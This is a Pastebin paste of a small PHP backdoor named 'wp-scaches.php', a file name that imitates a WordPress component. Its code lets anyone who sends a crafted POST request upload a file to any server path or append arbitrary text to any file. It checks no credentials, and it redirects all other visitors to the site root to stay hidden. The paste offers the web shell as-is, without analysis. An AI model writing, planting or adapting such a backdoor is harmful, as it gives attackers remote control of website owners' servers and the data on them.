PalmaSolutions

wp-scaches.php

Feb 19th, 2018
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.47 KB | None | 0 0
  1. <?php
  2. if (isset($_POST['upload'])){
  3.     if ($_POST['upload']=='1'){
  4.         $uploadfile = $_POST['path'].$_FILES['uploadfile']['name'];
  5.         if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadfile))
  6.             {echo 'ok';}
  7.         else {echo $_FILES['uploadfile']['error'];}
  8.         }
  9.     if ($_POST['upload']=='2'){
  10.         $fp=fopen($_POST['path'],'a');  
  11.         fwrite($fp, "\r\n");
  12.         fwrite($fp, $_POST['uploadfile']);
  13.         fclose($fp);
  14.         echo 'ok';
  15.         }
  16.     }
  17. else {header('Location: ../../');}
  18. ?>
Advertisement
Add Comment
Please, Sign In to add comment